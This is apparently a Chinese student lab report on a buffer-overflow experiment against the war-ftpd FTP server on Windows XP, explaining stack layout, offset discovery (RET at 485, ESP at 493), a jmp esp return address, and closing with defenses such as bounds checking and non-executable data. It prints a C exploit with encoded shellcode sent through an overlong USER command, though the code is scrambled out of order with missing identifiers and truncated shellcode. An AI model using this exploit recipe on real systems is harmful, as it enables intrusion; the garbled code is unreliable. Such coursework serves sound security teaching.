姓名:_ ___ 学号:__ 所在班级: 实验名称: 缓冲区溢出实验 实验日期: 2014 年 11 月 9 日 指导老师: 张玉清 实验评分:
验收评语: 实验目的:
1、掌握缓冲区溢出的原理
2、掌握常用的缓冲区溢出方法 3、理解缓冲区溢出的危害性
4、掌握防范和避免缓冲区溢出攻击的方法
实验环境:
主机系统: 虚拟机系统: 溢出对象: 调试工具: 开发环境: 开发语言:
缓冲区溢出原理:
Windows8 x64位
Windows XP(SP3)( IP:) war-ftpd
CDB(Debugging Tools for Windows); Visual Studio 2013 C语言
在metasploit中搜索war-ftp可以发现在windows下有以下漏洞username overflow,也就是在用户使用user username这个指令时,如果username过长就会发生缓冲区溢出。
计算机在调用函数function(arg1,…,argm)时,函数栈的布局如图1所示,首先将函数的实参从右往左依次压栈,即argm,…,arg1。然后将函数返回地址RET压栈。这时EBP指向当前函数的基地址,ESP指向栈顶,将此时的EBP压栈,然后ESP的值赋给EBP,这样EBP就指向新的函数栈的基地址。调用函数后,再将局部变量依次压栈,这时ESP始终指向栈顶。
另外还有一个EIP寄存器,EIP中存放的是下一个要执行的指令的地址,程序崩溃时EIP的值就是RET。通过构造特殊的字符串,即两两都不相同的字符串,我们可以根据EIP的值定位RET的位置。
知道了RET的位置以后,我们只要在RET这个位置放上我们想要执行的跳转指令就可以实现跳转。为了方便我们找一个系统中现成的指令jmp esp来实现跳转。jmp esp指令在内存中的通用地址是0x7ffa4512,可以通过 CDB的U 7ffa4512来确定该地址中存放的是否为jmp esp。
jmp esp将EIP指向了esp指向的位置,我们用定位RET的办法同样定位ESP指向的位置,然后用shellcode替换这块字符串,这样计算机就会执行shellcode,从而实现攻击。
当然,我们还可以用其他的指令,如jmp esi,同样得到jmp esi指令在系统内存中的地址,以及esi指向的内存,我们就可以执行shellcode。也可以使用多次跳转。
ESP局部变量n...局部变量2EBP局部变量1EBP RET函数参数1函数参数2…函数参数m
图 1 函数栈的布局
实验步骤:
1、 测试漏洞是否存在
1) 在虚拟机上用CDB将挂起
2) 使用主机与虚拟机上的war-ftpd建立连接
>ftp –n
> ‘A’*10000
3) 溢出成功,CDB捕获到war-ftpd异常,EIP被“AAAA”覆盖。ESP指向的位置也全
是字符‘A’。
2、 定位RET在字符串中的位置以及ESP指向的位置。
1) 使用patternCreate构造1000个不一样字符构成的字符串
2) 在虚拟机上用CDB将挂起
3) 再次使用主机与虚拟机上的war-ftpd建立连接
>ftp –n
> str不同字符的字符串
4) 程序溢出,EIP=,ESP指向的位置中存放的是
5) 利用patternOffset定位RET和ESP指向的位置,RET的相对位置是485,ESP的
相对位置是493
6) 构造字符串,编写攻击程序。
0user 481个Nop481EBP4854894个Nop493336字节的Shellcode8291000\\r\\nJmp espNopNop...
3、 测试攻击程序,能够在虚拟机中弹出计算器框
附:攻击程序源代码
#include \"\" #include <>
#pragma comment(lib, \"ws2_32\") int _tmain(int argc, _TCHAR* argv[]) {
char shellcode[] =
\"\\xeb\\x03\\x59\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x49\\x49\\x49\\x49\\x49\\x49\"\"\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x37\\x49\\x49\\x49\\x49\\x51\\x5a\\x6a\\x42\"\"\\x58\\x50\\x30\\x41\\x31\\x42\\x41\\x6b\\x41\\x41\\x52\\x32\\x41\\x42\\x41\\x32\"\"\\x42\\x41\\x30\\x42\\x41\\x58\\x50\\x38\\x41\\x42\\x75\\x38\\x69\\x79\\x6c\\x4a\"\"\\x48\\x67\\x34\\x47\\x70\\x77\\x70\\x53\\x30\\x6e\\x6b\\x67\\x35\\x45\\x6c\\x4c\"\"\\x4b\\x73\\x4c\\x74\\x45\\x31\\x68\\x54\\x41\\x68\\x6f\\x6c\\x4b\\x70\\x4f\\x57\"\"\\x68\\x6e\\x6b\\x71\\x4f\\x45\\x70\\x65\\x51\\x5a\\x4b\\x67\\x39\\x4c\\x4b\\x50\"\"\\x34\\x4c\\x4b\\x77\\x71\\x68\\x6e\\x75\\x61\\x4b\\x70\\x4e\\x79\\x6e\\x4c\\x4d\"\"\\x54\\x4b\\x70\\x72\\x54\\x65\\x57\\x69\\x51\\x49\\x5a\\x46\\x6d\\x37\\x71\\x6f\"\"\\x32\\x4a\\x4b\\x58\\x74\\x77\\x4b\\x41\\x44\\x44\\x64\\x35\\x54\\x72\\x55\\x7a\"\"\\x45\\x6c\\x4b\\x53\\x6f\\x51\\x34\\x37\\x71\\x48\\x6b\\x51\\x76\\x4c\\x4b\\x76\"\"\\x6c\\x50\\x4b\\x6e\\x6b\\x71\\x4f\\x67\\x6c\\x37\\x71\\x68\\x6b\\x4c\\x4b\\x65\"\"\\x4c\\x4c\\x4b\\x64\\x41\\x58\\x6b\\x4b\\x39\\x53\\x6c\\x75\\x74\\x46\\x64\\x78\"\"\\x43\\x74\\x71\\x49\\x50\\x30\\x64\\x6e\\x6b\\x43\\x70\\x44\\x70\\x4c\\x45\\x4f\"\"\\x30\\x41\\x68\\x44\\x4c\\x4e\\x6b\\x63\\x70\\x44\\x4c\\x6e\\x6b\\x30\\x70\\x65\"\"\\x4c\\x4e\\x4d\\x6c\\x4b\\x30\\x68\\x75\\x58\\x7a\\x4b\\x35\\x59\\x4c\\x4b\\x4d\"\"\\x50\\x58\\x30\\x37\\x70\\x47\\x70\\x77\\x70\\x6c\\x4b\\x65\\x38\\x57\\x4c\\x31\"\"\\x4f\\x66\\x51\\x48\\x76\\x65\\x30\\x70\\x56\\x4d\\x59\\x4a\\x58\\x6e\\x63\\x69\"\"\\x50\\x31\\x6b\\x76\\x30\\x55\\x38\\x5a\\x50\\x4e\\x6a\\x36\\x64\\x63\\x6f\\x61\"\"\\x78\\x6a\\x38\\x4b\\x4e\\x6c\\x4a\\x54\\x4e\\x76\\x37\\x6b\\x
4f\\x4b\\x57\\x70\"\"\\x63\\x51\\x71\\x32\\x4c\\x52\\x43\\x37\\x70\\x42\"; }
recv(s, Recv, sizeof(Recv), 0);
sprintf((char *)Recv, \"user %s\\r\\n\", Buff); send(s, (char *)Recv, strlen((char *)Recv), 0);
return 0; }
memset(Buff, 0x41, sizeof(Buff) - 1);
memcpy(&Buff[485], jumpesp, sizeof(jumpesp) - 1); memcpy(&Buff[493], shellcode, sizeof(shellcode) - 1); Buff[493 + sizeof(shellcode) - 1] = '\\0'; char jumpesp[] = \"\\x12\\x45\\xfa\\x7f \"; WSADATA WSAData;
char Buff[1000], Recv[1024]; int nRet;
struct sockaddr_in ipAddress; SOCKET s;
if (WSAStartup(MAKEWORD(1, 1), &WSAData) != 0) { }
s = socket(AF_INET, SOCK_STREAM, 0); = AF_INET; = inet_addr(\"\"); = htons(21);
try{ connect(s, (struct sockaddr *)&ipAddress, sizeof(ipAddress)); } catch (...){
printf(\"connection error\");
printf(\"[-] WSAStartup failed.\\n\"); WSACleanup(); exit(1);
实验体会:(遇到的问题及解决方法、收获和体会、提出防范此类缓冲区溢出漏洞的方法) 1、 在做这次实验的时候几乎是把能碰到的问题都碰到了,因为以前对计算机内存的运行状
况不是很了解,可没有用过metasploit,CDB这些工具,shellcode更是第一次听说,因此走了很多弯路,花了很长的时间才弄明白。下面列举一下我遇到的问题吧:
1) 在做实验的时候字符串构造错了好几次,不先是发现少了ping后面的空格,后又
发现没有\\r\\n命令不会执行。
2) Shellcode不能执行,在网上找到了很多的shellcode,但是能不能执行似乎是看
运气,不过还好最后找到了一个能弹出计算器的。
3) 在做war-ftpd的时候没有搞清楚esp指向的位置,受ccproxy的影响,想当然的
以为应该是在字符串的第四个位置,后来才知道esp指向的位置是不固定的,在
war-ftpd中应该是493的位置。
2、 收获和体会
通过这次实验了解了缓冲区溢出的基本原理和方法,学会了利用缓冲区溢出漏洞编写攻击程序。虽然刚开始的时候什么也不懂,遇到了很多的问题,让我感觉很挫败,但是最后能够把遇到的问题一个个的解决掉还是挺欣慰的。这次实验也让我体会到缓冲区溢出的危害之大,研究如何防止缓冲区溢出意义重大,同时能够找到软件的缓冲区溢出漏洞并及时修复也是非常有意义的事情。
3、 防范缓冲区溢出漏洞的方法
防范缓冲区溢出的手段主要有四种:
1) 开发能够检查程序中缓冲区溢出问题的软件,目前有很多帮助程序员查错的工具,
如faultinjection等,但是这些工具并不能找到所有的缓冲区溢出漏洞,因此,还是需要程序员本身花更多的功夫检查自己编写的代码,尽量避免缓冲区溢出的问题。
2) 把数据段地址空间不可执行,我们这次讨论的这种类型的缓冲区溢出中shellcode
是放在数据段的,如果操作系统规定数据段不可执行,就可以避免这种漏洞。 3) 数组边界检查,只要数组不能被溢出,溢出攻击也就无从谈起。这种方法不仅能避
免这种类型的缓冲区溢出,还能保证及时没有了非执行缓冲区保护也不会发生溢出。目前也已经有了做数组边界检查的软件,如Compaq、Jones&Kelly、Purify等。
4) 指针完整性检查。指针完整性检查是指在指针被引用之前检测它的改变,这样即使
一个攻击者成功地改变程序的指针,由于系统事先检测到了指针的改变,因此这个指针将不会被使用。与数组边界检查相比,这种方法不能解决所有的缓冲区溢出问题;采用其他的缓冲区溢出方法就可以避免这种检测。但是这种方法在性能上有很大的优势,而且兼容性也很好。
因篇幅问题不能全部显示,请点此查看更多更全内容